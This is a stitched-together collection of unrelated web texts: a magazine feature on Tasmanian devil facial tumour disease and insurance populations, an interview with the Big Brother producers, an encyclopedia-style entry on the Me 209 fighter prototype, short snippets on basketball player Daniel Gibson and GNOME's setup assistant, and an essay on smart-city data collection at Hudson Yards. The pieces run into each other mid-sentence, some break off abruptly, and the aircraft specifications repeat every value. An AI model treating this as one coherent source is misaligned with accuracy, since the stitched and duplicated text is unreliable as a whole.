For now, the biggest hope lies in the “tantalising” evidence of an immune response in some West Pencil Pine devils, combined with research showing that these devils have a genetic make-up different to those in devastated eastern areas. “You put it all together and it is evidence of [some] devils having a resistance to the disease,” Woods says. “But this disease has tricked us many times.”
A next step is likely to be expanding Hamede’s monitoring to neighbouring populations to see how widespread the resistance is. While disease surrounds West Pencil Pine, he is particularly keen to investigate a population further west that shares a similar genetic make-up.
More broadly, the big hope is that devils in the so far disease-free northwest of Tasmania will have a genetic mix that offers some protection against DFTD. No devil is thought to be completely resistant to DFTD, but by living longer before succumbing the hardy few will be passing on and concentrating their resilient genes in subsequent generations.
One option under consideration is taking some of these less susceptible devils and dropping them behind the disease front into DFTD-ravaged areas. These genetically superior devil paratroopers will breed with the locals, passing on these genes.
However, devils are not the only ones adapting and evolving. DFTD is also getting in on the act, with new strains coming and going as its scourge creeps across the land, roughly from east to west. “The devils are adapting for resilience and immune detection of the tumour, but at same time the tumour is evolving to evade the immune system of devils,” says leading devil expert Menna Jones. “That’s the hotspot to watch.”
This race of evolution and adaptation between disease and host may have only one winner. Unlike many diseases, such as killer viruses in humans, DFTD does not need high-density populations – hosts living cheek by jowl – to flourish. Instead it relies on frequency of contact: the annual mating season. This can be a rough-and-tumble affair, particularly towards the end of the season when females are more likely to resist the advances of males, while males fight off fellow suitors. By biting each other during these encounters, the devils pass on the disease cell line. This is why experts believe extinction is so real a possibility; DFTD knows no bounds.
Insurance policy
But this may not always be the case, says cytogeneticist Anne-Maree Pearse. Working from government laboratories in Mt Pleasant, near Launceston, Pearse has played a key role in unravelling the mysteries of DFTD. This included going public, in the pages of this magazine five years ago, with the “allograft” theory: that DFTD is a rogue cell line passed from one devil to another by biting. Initially thought outlandish, it is now widely accepted.
Pearse says the disease has a “flying start” on the devil in the evolutionary race, since it can evolve every time it is transmitted, on almost a daily basis, while the devils can only adapt via natural selection with each annual breeding season. “But we all know the hare and tortoise story,” Pearse says. “The question is whether we can keep devils going long enough for selective pressure to favour them.”
And she reveals that DFTD does have a potential handicap: it must constantly evolve to survive and must do so within a narrow genetic range to remain contagious. “It’s like staying inside train tracks – if it strays outside that range, it’s gone,” Pearse explains. “The hope is that one or more of these changes will make it unviable and it will die out.”
However, like other researchers, Pearse believes none of this can be relied upon to save the devil, and that an insurance policy is needed in case all these promising leads go nowhere. This insurance policy is the creation of a large population of devils, quarantined from the disease. If the devil becomes extinct in the wild, these “insurance” devils would be used to repopulate Tasmania once the disease had perished with its host.
Working with the Zoo and Aquarium Association, the devil program has about 250 insurance devils in 19 zoos and wildlife parks around the country, as well as a small number in government facilities in Tasmania. These devils are bred for the broadest genetic stock possible, so that their descendants will be best placed to give the ¬species a second chance.
As well, several pioneering wildlife park operators have developed large, free-range enclosures (FREs) to hold insurance devils. These double-fenced enclosures are designed to keep devils in a semi-wild environment, separated from diseased devils and able to maintain some wild behaviours.
Devils in FREs are also a lot cheaper to keep – as little as $900 a year compared to $10,000 in a zoo. This is by no means penny-pinching when you consider experts believe an insurance population of 1500 to 2500 will need to be maintained for 20 to 50 years. A first in species conservation worldwide, FREs do have a downside: the hands-off approach makes it impossible to guarantee “devil A” will breed with “devil B”. This barrier to match-making reduces the ability to manipulate the right genetic outcome.
Even so, the first FRE, built several years ago on land provided by the Natureworld wildlife park at Bicheno, on Tasmania’s east coast, has been a success, both in terms of breeding and retention of natural behaviours. It is a vindication for Natureworld owner and FRE mastermind Bruce Englefield, who raised $170,000 to establish the 12ha enclosure and badgered government until it embraced the concept. Now firmly onside, the Tasmanian government is providing $400,000 for three new 25ha FREs, being built on donated land at other sites in eastern and northern Tasmania.
Beyond that, Englefield and his Devil Island project plan to raise $1.5m to build a further three FREs, each up to 100ha. These would bring to 500 the number of devils housed in this form of insurance; a major fillip for the program.
The ground-breaking concept is also going national, with the Australian Reptile Park, near Gosford, NSW, building the first devil FREs on mainland Australia. These 13 enclosures, ranging from half a hectare to 4ha, will turn a 350ha property at Barrington Tops, donated by James Packer, into a “devil ark”. It will hold 360 devils, with further expansions as required.
Both Englefield and reptile park owner John Weigel are critical of government red tape and the time taken to embrace FREs. “It’s like pushing a pea uphill with your nose,” Englefield says.
The Tasmanian Conservation Trust, a non-confrontationist conservation group, is also throwing punches at government over the slow pace of progress, even urging the public to stop donating. While the program – the largest species rescue program in Australia’s history – is chiefly funded by $25 million provided by state and federal ¬governments, public donations assist the effort, particularly research. Trust director Peter McGlone is unrepentant. “Our view is that an insurance population is the only significant thing that can be done to save the devil – and that the program is dragging its feet,” says McGlone. “Why should people give them money when this failing is undermining the effectiveness of the program in a very, very profound way?”
McGlone, who works on recovery programs for several other species, is “dumbfounded” that there are fewer than 300 devils in insurance after five years, when at least 1500 are needed. Most experts believe this number of devils is required for an “effective” population of 500. In other words, for every 1500 devils bred in zoos – or 2500 bred in a less controlled environment, such as FREs – only 500 will be of the right age and genetic make-up to be of use in restocking the wild after extinction.
McGlone is concerned that options declared “urgent” several years ago – placing insurance devils on islands and fencing off disease-free areas of Tasmania – are still in planning stages.
Program manager Andrew Sharman insists the first island and fencing projects are close to fruition, while the insurance population is ¬progressing well. “The last thing I want to do is preside over a program that documents the demise of a species,” Sharman says. “Ensuring the long-term survival of the devil is our job and we’ve got to figure out how we can do that. There is no simple, single measure.” Sharman says that by early next year up to 80 microchipped devils will be released on Maria Island, a former penal settlement-turned-National Park off Tasmania’s east coast.
Plans are also advancing to fence off a “virtual island”: the DFTD-free Woolnorth property, 22,000ha at the far northwest tip of Tasmania. In the 1930s, the property’s owner, the Van Diemen’s Land Company, introduced a bounty to purge the property of devils and thylacine. The bounty ultimately failed and recent trapping by Fox shows today’s Woolnorth devils number about 550. What’s more, they are among the biggest, healthiest devils in Tasmania. Under different ownership these days, the VDL Co is backing a feasibility study into quarantining these devils via a 20-30km fence, before DFTD arrives.
Sharman insists the insurance policy is on track. “It’s not about kilos of devils – it’s about getting the right genetic diversity,” he says. As well, he says, the program is determined not to give up on the goal of keeping the devil in its wild habitat, performing its ecological function and keeping would-be feral replacements – foxes, feral cats – at bay.
And here, too, there has been some success. Jones, the program’s scientific adviser, has spent four years overseeing a “disease suppression” trial on the Forestier Peninsula, southeast of Hobart. This cruel-to-be-kind project involves regular trapping of devils and the removal of all those with DFTD. The idea is to slow DTFD by taking diseased devils out of the population before they can pass it on. And it appears to be working. Forestier’s devil population has declined 30-40 per cent in four years, from about 150 pre-DFTD to 100. Compared to declines in non-suppression areas, such as Freycinet Peninsula, where over a similar period DFTD reduced 150 devils to just 15, it is a good result.
Disease suppression would be far more effective if those working in the field had a quick diagnostic test, to detect whether a devil has DFTD before tumours show. Such a test could also prevent outbreaks in the insurance population.
This kind of pre-tumour diagnosis may not be far away, with several developed and undergoing independent validation. “It’s a really ¬exciting discovery and we’re waiting with bated breath to see if the validation is successful,” says Robert Shellie, of the Australian Centre for Research on Separation Science, which has developed several promising tests. “We certainly hope they could be in use by the end of year.”
Too little, too late?
But some feel not enough is being done at a more basic level to save the devil. The official conservation advice, approved by Environment Minister Peter Garrett last year, acknowledges that the “significant threats” to the devil include habitat destruction – logging and land clearing – as well as road kill, which claims a remarkable 3000 devils each year. And yet it appears very little is being done to address either issue.
Mooney and Jones warn of far-reaching consequences for entire ecosystems if the devil goes extinct. Already there is evidence feral cat numbers are increasing where devils are declining, while the fox, thought to have a toe-hold in Tasmania, is awaiting its chance to supplant the native scavenger-carnivore. Devils play several critical roles in the environment. They act as nature’s hygienists, clearing away animal carcasses, reducing fly strike in sheep. They also act as quality controllers, removing sick or injured pademelons, wallabies and wombats.
Surprisingly, though, much is still unknown about the devil, thought to have become extinct across mainland Australia about 500 years ago, possibly due to the drying of the continent and being muscled-out by dingoes.
The things we know with confidence about the devil are impressive. Its white chest and rump markings are as individual as human ¬fingerprints; on a bite-to-body-weight basis, the devil jaw is more powerful than the tiger’s; devils can roam 20km a night; and, while they have an awkward, loping gait, they can sprint at 35km/h. Devils can eat almost every part of a carcass, including hide and bones, consuming up to 40 per cent of their body weight in just 30 minutes. They share communal bush latrines and have a sense of smell so acute they can detect food a kilometre away. “This is a very, very, very special animal,” says Jones. “The whole world should care about the fate of the devil. It is one of the last 10 marsupial carnivores left on the planet – most went extinct in prehistory.”
All of which makes it hard to own up to the fact we may be to blame for the devils’ demise. Many experts agree a likely culprit for triggering DFTD is the exposure of a devil or group of devils to some kind of man-made toxin or ¬toxins. “We’ll probably never know, because the original diseased devil is long gone and the ¬disease has evolved and moved along,” says Mooney. “It still seems the most likely thing to me; that exposure to chemicals started the rotten apple in the bunch.”
Principal veterinary pathologist at the state government’s Mt Pleasant labs, Stephen Pyecroft, as well as Anne-Maree Pearse, agree that chemical exposure, perhaps combined with a genetic weakness, may well have sparked DFTD. Mooney has had first-hand experience over the years of farmers lacing carcasses with poison to deliberately kill devils, while illegal dumping of outlawed toxins is all too common in rural Tasmania. As well, pesticides and poisons have long been used to protect crops and plantation forests.
In 2008, The Australian used Freedom of Information laws to obtain test results showing the presence of carcinogenic pollutants in devil cells. Several scientific reports were then commissioned, with Michael Moore, director of the National Research Centre for Environmental Toxicology, concluding that “chemical exposure may contribute” to the development of DFTD. But the silence on this issue since has been deafening, prompting suspicions that government and powerful vested interests do not want answers.
“Devils have evolved over hundreds of thousands of years and suddenly man shows up and starts spraying chemicals and distributing poisons around their habitat,” says Tasmanian author and amateur naturalist Mike Tatlow. “I think the answer as to what caused DFTD is pretty darned obvious. I wonder whether certain parties want to know.”
Humans have spent two centuries undervaluing, defaming and persecuting this unique animal, found only on this one island at the bottom of the globe. We’ve shot it, poisoned it, put a price on its head, run over it and trashed its habitat. Only when the devil is on the verge of oblivion have we begun to realise what we stand to lose. It is a realisation that may have come too late.Executive producers and Fly on the Wall Entertainment's co-owners Allison Grodner and Rich Meehan take THR "behind the walls" of season 19.
Allison Grodner and Rich Meehan had toyed with naming their production company Human Zoo, and an afternoon spent at the Big Brother season 19 house reveals why.
Inside the house, the 16 houseguests are seen sitting on one another's laps, dancing while doing the dishes in the kitchen, and even screaming. Observing them just inches away are the longtime executive producers behind the CBS reality series, who settled on Fly on the Wall Entertainment instead.
And that's exactly what The Hollywood Reporter was when invited for a close-up look behind the scenes of the summer staple: a fly on the wall.
While the houseguests are trapped inside the house as they fight for half a million dollars, Grodner, Meehan and a staff of over 400 are locked away outside of it, in a compound with several floors, multiple rooms and hundreds of monitors.
In Grodner's main office, there's a flat screen mounted on the wall to keep an eye on what they still refer to as the human zoo. (She says the houseguests often compare themselves to the dolphins at Sea World.)
Next door to Grodner's office is Meehan's, both located on the "story" floor where they have just finished editing the season's premiere episode. Upstairs is the control room, where a team sits intensely focused on logging the cast's every move. Next to that is a room housing the audio crew who are tasked with listening to what the houseguests are saying. Farther down the hall is the operating station that connects directly to the famous diary room, where one houseguest is currently discussing religion and how another player's story made them cry.
It's just another day at the Big Brother house as the long-running reality hit gears up for its 19th season. After pulling the Big Brother curtain back, THR sat down with the producing team behind the series to discuss what fans can expect this season, their recent live-stream collaboration with Katy Perry and why an all-stars season may never come to fruition.
The name Fly on the Wall Entertainment is a nod to the show, yes?
Allison Grodner: It's also the programming and unscripted world that we're in. I come from a documentary background and the way that we like to do these shows is [to be] a fly on the wall, eavesdropping on real life. Big Brother is an example of that. Maybe it's not completely real life, but within the confines of this bubble it is as real as can be. It's the ultimate social experiment.
What were the other names that were tossed around?
Rich Meehan: The Human Zoo! And you now know why!
Your first all-online version of the series, Big Brother: Over the Top, was also the first series for CBS All Access. Will it come back?
Grodner: CBS and CBS All Access were really happy with how it did. It's just a matter of what's going on with CBS All Access, which we don't know yet.
Meehan: Star Trek: Discovery is coming out and that's their next thing. I don't know what their strategy is.
Grodner: We all learned a lot. It was fun to try and re-imagine this series and how to do something in a live 24/7 format as its primary outlet. We learned what works with the audience and what doesn't.
Last year it premiered a week after season 18's finale wrapped. If it does come back do you want it to air immediately following this season again?
Grodner: Well, personally... (Laughs.)
Meehan: The big thing is, what is that time frame? How soon after the summer? But you also have to keep it away from the next summer. What is that perfect time period in the middle? I'm not sure.
Grodner: You want them to be separate. Part of the reason we have survived as long as we have is that it's a summer event. Other shows do multiple seasons. With Big Brother it's that one-time special event. You don't want to infringe on that.
In partnership with YouTube, another digital venture you produced this year is Katy Perry's Witness World Wide where she invited fans in to watch her live for 96 hours in an effort to promote her latest album. Throughout the live stream she confessed her fandom for Big Brother with guests including Sia pointing out how similar the setup of her special was to the show. How were you approached for this?
Grodner: Live-stream has been a big part of Big Brother since the very beginning, and it's interesting how technology has caught up with it. We've always been a multiplatform show. Katy Perry had this idea to live-stream her life at the launch of her album. It had a lot to do with the themes of her album. It was all her idea. Her and her camp came to us —
Meehan: And said they wanted to do a reality event.
Grodner: We thought it was an interesting way to use the live feed.
What were the biggest challenges you faced with this project specifically?
Meehan: Trying to build the production, scheduling it, booking it all while keeping everything a secret. We had six weeks to pull the production together. It was like putting together a reality show, a talk show and a musical performance all at once with limited time.
Was it produced here out of this studio, like Big Brother?
Grodner: Not at all. It was a four-day event on location. It was very different in terms of the way that it's technically set up. We had to invent how to do live-stream from a remote location, not a studio where we have the infrastructure and the wiring and everything that's here. Because of our experience with BBOTT and Big Brother, we were a logical company for them to come to. This year we've been doing more live programming.
We also had This is Life Live on TLC. It was a four-day event as well, just by coincidence. We went live across the country where we did four nights in a row, two cities each night, opening it up to live moments for each episode. TLC announced that we are doing it again. It's something we're uniquely qualified for and something we really like. The way to use live and/or live feed in unscripted is fascinating. With Katy Perry, it was a giant marketing stunt.
What was Perry looking to get out of this?
Grodner: She wanted it to be streamed live and she didn't want to see any of the crew. She wanted to feel like she was just her and not on a television show.
Meehan: She wanted just real people around her. Why we're diving more into the world of live streaming is it seems like you need to figure out ways to get something to cut through. What the cool part of Witness World Wide was was something would happen and it would become the pop culture news of the day.
What makes someone an ideal subject for this format?
Meehan: You need a subject who is willing to allow an unfiltered look at their lives. If you are going to be live 24/7, you can't hide who you are and the audience is savvy enough to know when you are not being genuine.
This summer there's has been the return push for unscripted content on broadcast networks. Why do you think that is?
Meehan: One hour dramas were ruling for a long time.
Grodner: Budgets for unscripted tend to be lower. That's something that works better in the summer. There's a ton of unscripted shows in the pipeline along many networks right now, which is good. There was a little less in the past years. [For newer shows,] it is really hard to cut through though. When you got a new show now everyone just wants a second season. It's amazing that we're on season 19 of this show and there are only a handful of shows like that right now. We have a fan base that has grown with us generationally. In casting, we see people in their early 20s say, "I've been watching this with my mom since I was a kid." That's nice that we've been able to hold on to more generations, but that's hard.
Which reality series do you view as your biggest competitor?
Grodner: Biggest competitor? Is there one? (Laughs.) We've been able to hold steady where we are.
Meehan: If we can have three shows in the top 10 every week, we're happy. We tend to start out strong and then slowly grow. Some shows start big and then fade.
Grodner: Slow and steady wins the race! We're not going to pretend we're number one all the time. America's Got Talent is having a great season. We have a company that's doing more than just Big Brother. We want to be working all through the year. When unscripted shows do well, it's good for the genre. Even though Big Brother has been on the air for this long, it is still very cutting-edge in what we do. We're turning out three hours of primetime television every week, going live to the internet and having this complete multiplatform experience. So, what's the next place to bring the reality genre? One of the places that has really been popping for us and is the future of unscripted is working within a live space.
One of the biggest conversations in reality TV right now is the Bachelor in Paradise controversy. They have resumed filming, but what do you make of how everything went down?
Grodner: We're dealing with real people and real situations on all of these shows. I don't work on that show, but I believe they feel the same: that the safety of our contestants is a priority and always has been.
On the Bachelor franchise, it's known that alcohol is unlimited. On Big Brother, the alcohol provided to the contestants is scarce. What's your philosophy behind that?
Grodner: It's a controlled amount. We are dealing with a very intense situation in tight quarters and they can be locked in the house for days, so everything that is consumed in the house is controlled by the production.
Meehan: It's a pressure cooker in there, and anytime we put alcohol in, it's a very small amount.
What were the conversations like ahead of this season and deciding on the twist?
Meehan: [We decided on the temptation twist] in March. We had multiple concepts that we really liked and we presented them to CBS. We landed on this as the one we were going with. We walked them through the basic strokes of it.
Grodner: Temptation has always been a theme throughout the show. It's something that happens. Are you tempted to get into a showmance? Are you tempted to go against a group because something is being offered to you? If we made that the theme of this whole summer we thought we could make it bigger and better.
Throughout the years, the cast of Big Brother has been diverse in terms of their backgrounds, religious values and political views, but usually politics doesn't come into play. With the current political climate, how do you see that changing this season?
Meehan: There's definitely different political views in the house.
Have they been talked about yet?
Meehan: I have not heard it. People are smart enough to know it's a hot-button issue. But they're still getting comfortable in there.
Grodner: They haven't been in there long enough to see the differences. We absolutely are representing the country and have a cross-section of voters, supporters and non-supporters of our current president. But I don't know if that will become a big topic in the house. Even though we are representing that cross-section here, I really hope that Big Brother becomes an escape from what we are all being bombarded with.
As it stands now, who are the early standouts who have a real shot at winning?
Grodner: (Looks at the live monitor of all the houseguests.) If Megan [Lowder, the 28-year-old dog walker who once worked in a prison in the Middle East] doesn't burn herself out early it's very possible because she is smart and a leader. Do you know who is playing a great social game right now? Dominique [Cooper.]
Are there any showmances already blossoming in the house?
Grodner: There's certainly attraction for sure. Mark, who is a romantic, is already smitten with Jessica [Graf.]
Meehan: He hangs out with Christmas a lot too.
Grodner: There are a lot. You just saw as we were walking through Christmas and Matt [she was sitting on his lap.] But earlier I saw Raven [Walton] and Matt!
What have the past few days looked like in the house?
Grodner: Right now, we're in the only time of Big Brother where we're not live. But already within the first 48 hours we have seen flirting, lines drawn, alliances and our first big fight!
Who are the likely suspects for that fight?
Groder: Strong personalities.
Meehan: It was a man and a woman, and a temptation played into it.
Grodner: It's in the Thursday night show. There are temptations everywhere and when you take a temptation, there's a consequence. It's bound to spark drama if someone takes a temptation.
Meehan: In night two, there was a temptation in the head of household competition that someone took. It shocked people and caused a bit of an argument.
On premiere night, how are the first temptations presented to them?
Meehan: They were tempted by money, safety and power. The first one was a large cash temptation.
The show has already been renewed for season 20 and the online speculation is that you will focus on the all-stars. Any truth to those rumors?
Meehan: I've heard those rumors too! (Laughs.) We haven't talked about it. It would be interesting to do with 20.
Grodner: But we haven't talked about it yet. Is it even possible? Is that something the audience really wants to see? Do you really want to see all returners now? I don't know.
Meehan: Also, I don't know if we could get all the people we want.
Grodner: It's been a long time.
Meehan: A lot of them are married with kids and they've evolved so much. They're different people now.
Did you watch Katy Perry's live stream? How do you think the pop star would do in the real Big Brother house? And do you really want to see an all-stars season next year? Sound off in the comments section below and stay tuned to The Live Feed for all things Big Brother.Me 209 Me 209 with DB 603 engine Role Fighter prototype Manufacturer Messerschmitt Designer Willy Messerschmitt First flight 13 November 1943 Retired 1944 Primary user Luftwaffe (intended) Number built 4
The Me 209 of 1943 was an attempt to create an enhanced version of the Bf 109, which served as the Luftwaffe's primary fighter aircraft throughout World War II.[1] The Me 209, despite its designation, bore no relationship to the earlier Me 209.[2]
The RLM's 8-209 airframe number assigned to Messerschmitt, for its pair of post-July 1938 designation Me 209 airframes, was used for two projects during the late 1930s and early 1940s. The first Me 209 was a single-engine air speed record plane for which little consideration was given to adaptation for combat.
Design and development [ edit ]
The second use of the Me 209 designation was for a proposal, in 1943, to make a heavily modified version of the Bf 109. This Me 209 would compete against Focke-Wulf's high performance Fw 190 D-9 and Ta 152 fighters. Like these enhanced versions of Kurt Tank's design, the new Me 209 would share most of its airframe with a proven model, in this case the Bf 109G.
Unfortunately for the design team, the Me 209's proposed DB 603A engine was in short supply and they were forced to use the Junkers Motorenwerke firm's Jumo 213A engine. Even though the 35 litre engine displacement Jumo 213 had been deliberately designed to have as many of its engine access points as possible made to be identical with the 44.52 litre displacement DB 603 powerplant (Germany's largest-displacement inverted V12 aircraft engine), this changeover required some reconstruction of the engine cowling and cooling system. The most visible change was the required one to the engine's air intake location, as the Jumo 213's supercharger intake was located on the starboard side of the engine (as standard for all models of the earlier Junkers Jumo 211 inverted V12), versus the DB 603's portside location, the standard for all Daimler-Benz inverted V12 engine designs. The Me 209 featured a new tail section, wings, wide-track landing gear, a taller tail and an annular radiator for the inline engine, which gave the engine a superficial resemblance to a radial engine and to the very similar installation on the Focke-Wulf Fw 190D, which used the same Jumo 213 powerplant. The extent of the modifications undermined the original purpose, which was to build a superior aircraft as similar to the existing Bf 109G as possible.[3]
The Me 209 V5 featured armament of one Motorkanone engine-mounted 30 mm (1.18 in) MK 108 cannon plus two 13 mm (.51 in) MG 131 machine guns in the wing roots. The V6 was the first version to be converted to use the Jumo 213 engine and had 20 mm MG 151/20 cannon instead of the MG 131s. The Me 209H V1 was a high-altitude variant with extended wings and DB 603 engine.
Testing [ edit ]
The program met a swift end when the Me 209 V5 prototype first flew in late 1943. It was 50 km/h (31 mph) slower than the Fw 190D and offered no improvement in handling characteristics.[1] After its disappointing show, the Me 209 project was cancelled and with it ended Messerschmitt's last attempt to build a high-performance piston-engine fighter.
Specifications (Me 209 V5) [ edit ]
General characteristics
Crew: one, pilot
one, pilot Length: 9.74 m (31 ft 11 in)
9.74 m (31 ft 11 in) Wingspan: 10.95 m (35 ft 11 in)
10.95 m (35 ft 11 in) Height: 4.00 m (13 ft 1 in)
4.00 m (13 ft 1 in) Wing area: 17.2 m² (185 ft²)
17.2 m² (185 ft²) Empty weight: 3,339 kg (7,346 lb)
3,339 kg (7,346 lb) Loaded weight: 4,085 kg (8,987 lb)
4,085 kg (8,987 lb) Powerplant: 1 × DB 603G, 1,397 kW (1,900 PS - 1,874 hp)
Performance
Armament
1 × 30 mm (1.18 in) MK 108 cannon
2 × 13 mm (.51 in) MG 131 machine guns
See also [ edit ]
Related development
Related lists List of military aircraft of Germany
References [ edit ]
Notes
a b Jackson 2005, p. 35. ^ Green 1960, p. 162. ^ Green 1960, p. 163.
BibliographyGetty Image
Daniel Gibson was hand-picked by LeBron James to become the 42nd pick in 2006 NBA Draft. Coming out of Texas, James saw what Gibson could bring, a ball-handling, gutsy shot maker with lots of potential. As a second-round draft pick, the chances of sticking and staying in a location for a significant period of time is difficult. But Gibson came ready for the challenge and developed swiftly with the Cavs.
Known for his three-point shooting prowess and being an instrumental part of the first Cleveland-James era, Gibson had made a name for himself. “Boobie,” as many called him, would eventually get rewarded for his efforts receiving a five-year, $21 million dollar extension with the Cavaliers in 2008. However, Gibson struggled to get back to full strength due to a number of injuries and setbacks.
“There was a pretty big misconception of why my career ended so abruptly,” Gibson told DIME. “It seemed like people thought I quit basketball to pursue entertainment and music and that was just not the case.”
In fact, it was Gibson’s injuries, to go along with his divorce and the death of his grandmother (whom he lived with) that put him in a mental state unlike anything he’d ever been through.
“I was just hit with a flurry of events,” Gibson says. “Mentally, It just took away my ability to workout. I was suffering from depression and anxiety. Honestly, basketball was my sanctuary, but I couldn’t even do that. […] I really got to the point where being alive wasn’t something I wanted anymore.”
Gibson really hasn’t had a chance to come out and discuss a number of topics, but in a long discussion with DIME, he goes in-depth about what really kept him out of basketball, the feeling of being mentored by LeBron James, his new outlook on life, and much more.GNOME’s initial setup assistant was originally introduced in 3.8. It helps people set up GNOME 3 when they first log into a new session, and guides them through the essential steps to make their account usable. It enables you to set a language and the date and time, and it helps you to connect to a network and to online accounts.
Without something like initial setup, there’s a risk that a new user might be faced with a system that isn’t using their language or has the wrong time. Hunting through settings on a misconfigured system is not what we want people’s’ first experience of GNOME 3 to be.
From a design and development standpoint, one of the tricky things about initial setup is that it doesn’t get a huge amount of attention. Those of us who work on GNOME don’t see it on regular basis and our users only encounter it |
data.” That’s a dangerous approach, argues sociologist Will Davies, as “theoretical presuppositions and hypotheses can allegedly be abandoned, along with notions of causality, in favor of blanket surveillance of everyday life.” Then it’s all about data-capture and pattern-spotting and behaviorist explanations. Built environments and technical systems are presumed to inform human behavior, and data about that behavior is fed back into the environment to alter future human behavior. It’s B. F. Skinner with sensors.
Within this model, people do possess agency, but their actions are framed by their roles as consumers and generators of data. What about human activities that cannot be observed? What about all those potential behaviors that are never enacted, and thus never measured, because the physical space or its regulation prohibits them — or because one’s subjectivity proscribes a repertoire of possible behaviors? What about other modes of action, other means by which people perform their urban citizenship? How will the new methods of measurement and planning inform what it means to be a citizen in a quantitative community?
“The trouble with modern theories of behaviorism,” Hannah Arendt warned in 1958, is “not that they are wrong but that they could become true” — that the very instruments used to measure behavior are indicative of, and constitutive of, societies of automatism and “sterile passivity.” The data we generate, based on determinist assumptions and imperfect methodologies, could end up shaping populations and building worlds in their own image.
Sustainability is a common value in smart urbanism and a selling point for residents hoping to live “mindfully” and ethically in their LEED Gold apartment buildings. But what does that really mean? Media scholar Jennifer Gabrys argues that people enact their citizenship — or empirically “behave” like citizens — by installing smart thermostats in their homes, depositing trash in the appropriate chutes, monitoring air quality and noise levels while they walk the dog, and FitBitting their way to good health. Through this self-monitoring (and the voluntary provision of personal data to some central repository), they presumably learn to make informed and responsible choices, to alter their behavior when necessary, and to contribute to the collective sustainability effort. Smart citizenship, Gabrys says, is thus equated with monitoring and managing one’s relationship to the urban environment — “operationalizing the cybernetic functions of the smart city” — rather than with “exercising rights and responsibilities” or “advancing democratic engagement through dialogue and debate,” as Arendt would prefer.
People ‘behave’ like citizens by installing smart thermostats in their homes, depositing trash in the appropriate chutes, and FitBitting their way to good health.
If we were to measure the behavior of these citizen-sensors as an index of their engagement with the city, we’d find that their actions are limited, as Arendt foretold, by the instruments that render those actions visible and worth accounting for. The result is a passive, somewhat egocentric notion of citizenship — even an automated performance of citizenship, wherein self-managing environmental technologies can “override citizens if they do not perform” in accordance with the rules — which restricts people’s ideas about civic action, delimits the “rights to the city” to which they feel entitled, and shapes their imagination about what a city is and can be.
What’s more, Gabrys says, “the very responsiveness that enables citizens to gather data” often doesn’t let them “meaningfully act upon the data gathered, since this would require changing the urban ‘system’ in which they have become effective operators.” While some models of smart urbanism embrace the tools of “e-government” — report-a-pothole apps, for example, or community planning software — they typically lack any means of accommodating user input that challenges the underlying principles and ideologies of the tools. Civic engagement platforms, in their promotion of “transparency” and efficiency, tend to obscure the politics of pervasive surveillance and offer no means for citizens to question the goals of “growth” and “progress” (i.e., neoliberalism), or to trace the spread of what Shoshanna Zuboff calls “surveillance capitalism.” Jathan Sadowski and Frank Pasquale follow this logic to its conclusion: “Anybody who wishes to ask critical questions about the future, let alone actually constrain and slow down technological development, is de facto extinguishing an exploding economy and standing in the way of a (supposedly) democratizing force.”
You cannot ‘coshape’ a painstakingly engineered, shrewdly financed, algorithmically-tuned, master-planned environment designed to prevent you from influencing it.
Proponents of “values-driven design” advocate that citizens be involved in co-designing the technology that shapes the environments they live in and structures their everyday lives. Yet, as The New Republic’s Christine Rosen notes, “You cannot ‘coshape’ an environment” — particularly a painstakingly engineered, shrewdly financed, algorithmically-tuned, master-planned environment — “designed by others to prevent you from influencing it.” Are there opportunities for meaningful citizen participation in creating the smart technologies that will define Hudson Yards? And what about the visitors? What about the conscientious objectors? What about the residents who lack the tools for participation — “smart” devices or technological “smarts” — and who are thus subjected to the city’s monitoring without being able to monitor back?
I posed these questions to Related and CUSP. Representatives from both organizations indicated that they’re still in the planning phases for the “quantified community,” and they can’t share concrete details.
Data Streams as Urban Infrastructure
While much of the data at Hudson Yards will be drawn from building systems and connected devices, people themselves constitute another valuable data source. CUSP has repeatedly stated that residents and visitors will not be tracked unless they opt in to the anonymous collection of personal data from home sensors and smartphone apps. In 2014, a senior official at Related proposed that residents might be incented to “opt-in” in exchange for “services,” but when I reached out last month, the company declined to comment on how that might work. It’s not exactly reassuring to hear CUSP researchers tell The New York Times that “the conditions under which people will feel comfortable sharing their personal information … will be another subject for experiment.” For most researchers working with human subjects, consent, privacy, and confidentiality are critical values. It’s not clear that the rules of the game are the same at Hudson Yards. Kontokosta told Fast Company that today’s urbanites have come to “demand” services and conveniences that require they get comfortable with greater surveillance and instrumentalization.
If data collected at Hudson Yards is subject to loosely regulated mining, what about the data as a physical resource, which will require a material infrastructure for its storage and management? It seems that’s another test bed. As Kontokosta recently explained to Bisnow:
We haven’t seen this type of comprehensive data effort in an urban development before. … There will be a lot of challenges dealing with the fire hose of data this is going to unleash, but we’re hoping this will eventually become a model for how cities think about this type of informatics infrastructure going forward.
That’s not much clearer than what we heard two years ago from Related’s senior vice president of operations. Thad Sheely surmised that the data would be stored in the cloud (where?) and managed by an outside information technology company (perhaps Hudson Yards tenant SAP?):
Basically, we’ll be the funnel and collect the data so they can put [the information] though their spin cycle in the cloud, and then provide an interface for us to be able to access the information. … That way, we won’t need to have a big server farm on campus.
Again, neither Related nor CUSP would confirm speculations about that spin cycle in the cloud. But if an off-site model is realized, the physical systems that make the development “smart” — its tubes and cables and servers — will presumably be hidden away like all the other circuits. What’s left? A deceptively clean, shallow interface to the Hudson Yards operating system, whose physical architecture, algorithmic operation, and security we know very little about.
The conditions under which people will feel comfortable sharing their personal information … will be another subject for experiment.
Geographer Rob Kitchin has identified issues that governments and developers must address in order to ensure the privacy, protection, and security of data, which he takes to be critical rights in the smart city — not subjects for experimentation. New Yorkers would do well to familiarize themselves with these recommendations, which include building “privacy-by-design” into technologies; offering education about data security; forming a smart-city oversight committee to monitor governance, ethics, privacy, and security; empowering a compliance team that works across city departments and contractor companies; and charging a cybersecurity emergency response team. Implementing Kitchin’s recommendations in New York could “enable the benefits of smart cities and urban big data to be realized,” while promoting fairness and equity, and protecting citizens (and the city itself) from harm.
I’ll go a step further than that. The politics of data, and the materiality of its infrastructure, could be made legible — or senseable — within the landscape. Just as I suggested earlier that Hudson Yards designers might offer a peek into mechanical systems like the trash chute, there could also be civic education to inform residents and visitors about what makes the community so “smart” — and about their own potential for managing the uses of the data they generate. A public library would be an ideal venue for such public pedagogy, and for providing an interface to — and guiding patrons’ use of — open data provided by Hudson Yards and the city government. Further, we need to ensure that public institutions and repositories have the resources to commit to the long-term maintenance of open, secure information infrastructures. That is especially important in cities powered by commercial IT and dependent on proprietary platforms. History shows that commercial partners tend to value innovation-driven obsolescence, exclusive contracts, and the monetization of user data; rather than resilience, interoperability, equitability, and discretion.
From Penthouse to Sidewalk (Labs)
